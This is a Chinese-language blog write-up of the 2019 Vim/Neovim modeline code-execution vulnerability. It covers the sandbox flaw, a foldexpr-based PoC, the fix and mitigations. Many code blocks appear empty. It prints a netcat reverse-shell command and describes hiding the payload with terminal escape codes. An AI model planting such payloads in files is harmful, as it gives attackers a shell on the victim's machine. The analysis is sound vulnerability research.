Vim任意代码执行漏洞
文章目录
背景
近日,著名编辑器Vim/NeoVim爆出了任意代码执行漏洞,打开恶意文件即可触发,受影响的版本:
Vim < 8.1.1365, Neovim < 0.3.6
漏洞成因
漏洞产生于Vim的modeline功能中,使用modeline功能时,通常把一段配置代码放在文件的开头或结尾处,用于对此文件进行编辑器功能的配置,此配置会覆盖Vim的默认配置(通常在~/.vimrc
中)。
modeline功能便于文件在共享时保持一致的编辑格式。例如,我们通常会在Python文件开头加上modeline来设置缩进:
|
|
由于modeline中的命令运行于命令模式(在正常模式下按:
进入),而在命令模式下可以进行修改文件、执行脚本等敏感操作,这就产生了被恶意攻击的可能。
因此从安全角度考虑,在modeline中,只支持set命令,同时一些配置项会被隔离到沙箱(sandbox)中运行。
在沙箱中,修改文件、修改快捷键、执行shell脚本等操作都被禁止。
沙箱检查由函数check_secure
实现,用HAVE_SANDBOX
判断是否在沙箱中,是的话生成错误信息并返回TRUE。
|
|
check_secure
函数在一些涉及敏感操作的地方被用到,例如在buf_write
函数中的使用,禁止了在沙箱模式下写buf文件。
|
|
然而在:source!
命令中,并没有进行沙箱检查。:source!
命令用于在命令模式下逐个运行目标文件中的命令,通常被用来加载配置文件。同时,在命令模式下有多种方式执行shell脚本。
前文提到,可以在modeline中设置的配置项是有限的,因此需要一个能让我们执行:source!
的配置项。
配置项的限制是通过P_SECURE
这个flag来判断的,foldexpr
没有设置P_SECURE
,符合要求。
|
|
因此,可以构造PoC如下:
|
|
保存成文件poc.txt
,用Vim打开,命令uname -a
将会被执行。
PoC分析
命令执行
|
|
打开poc.txt时,Vim会在首行寻找modeline,从vi:处开始匹配,忽略前面的字符,解析出的modeline表达式为:
|
|
modeline中的配置项(option settings)通过:
分隔,vi后面的每一项都会当做:set
的参数在normal
模式下被运行。
这里的一系列配置都是有关于代码折叠的,让我们逐个解析配置项:
fen
: 当值为off时,所有的代码折叠都被打开,默认是offfdm=expr
: 产生折叠的方式,可能的值有manual, indent, expr, marker, syntax, diff。 其中expr表示将由’foldexpr’的值来给出某一行的折叠levelfde=assert_fails("source! %")
: fde是foldexpr的缩写,功能见上一条;source!命令前文已经提过,这里的%是指当前文件;assert_fails用于执行命令并处理错误信息,这里我们只用于执行命令。fdl=0
: 折叠的程度,设置为0时会关闭所有的折叠,默认是0fdt
: 被关闭的折叠处显示的字符串,默认是”foldtext()”
综合下来,这个modeline会让Vim执行:source! poc.txt
,让我们来看会发生什么。
poc.txt
中只有一行,相当于在Vim normal mode中运行这一行,:!xxx
表示在shell中执行xxx
命令。
所以,下面的命令会在shell中被执行:
|
|
||
表示只有在前一个命令执行失败后才会执行后一个命令,在这里uname -a
会执行成功,||
后面的字符串被忽略,所以PoC到这里就执行成功了。
反弹shell
漏洞作者给出了另一个PoC,可以反弹一个shell, 利用了转义字符使得恶意代码在终端不可见,还在PoC执行结束后重写了文件使得痕迹被彻底清除。
|
|
除去转义字符和重写文件部分,可以简化成如下所示:
|
|
由前面的知识我们可以知道,此poc会在vim的normal模式下运行:
|
|
拆开分析:
- call: 执行一个函数
- system(): 执行shell命令
nohup nc 127.0.0.1 9999 -e /bin/sh &
: 反弹shell
可能遇到的问题
modeline功能开关
普通用户的modeline功能默认开启,而root用户是默认关闭的。
可以在命令模式下使用:echo &modeline
查看开启情况,返回1就是开启、0就是关闭。modeline功能
需要打开,PoC才能成功运行,可以在~/.vimrc
中加上一行set modeline
确保开启此功能。
第二个反弹shell的PoC,复制粘贴到本地运行会失败
刚开始看到这两段exp的时候,我只成功复现了第一个,第二个失败了。研究后发现问题出现在转义字符上,这时候我看到PoC作者的repo里面带了第二段exp的源文件,于是我用wget下载了shell.txt,重新尝试,这次漏洞复现成功了!
用二进制查看工具Okteta
打开shell.txt
,可以看到转义字符x1b
是非显示字符。转义字符常常用来控制终端显示、光标移动等,第二个PoC中就利用了转义字符隐藏代码的功能,有关转义字符的知识可以参考这个链接ansi-escape-codes。
|
|
作者文章给出代码中的x1b
是为了更清晰地表达,并不能直接复制使用。
所以如果我们想要修改第二段利用代码,比较简单的方式是是下载源文件,修改执行命令的部分,当然也可以使用二进制编辑器直接编写或修改。
修复
Vim发布了 patch 8.1.1365: source command doesn’t check for the sandbox
在openscript
函数中增加了沙箱的检查,防止在沙箱中source文件。
|
|
安全建议
- 更新到vim >= 8.1.1365 / neovim > v0.3.6
- 在vimrc中加入
set nomodeline
,禁用modeline - 不要轻易打开来路不明的文件
参考
文章首发于安全客
文章作者 b1tg
上次更新 2019-06-16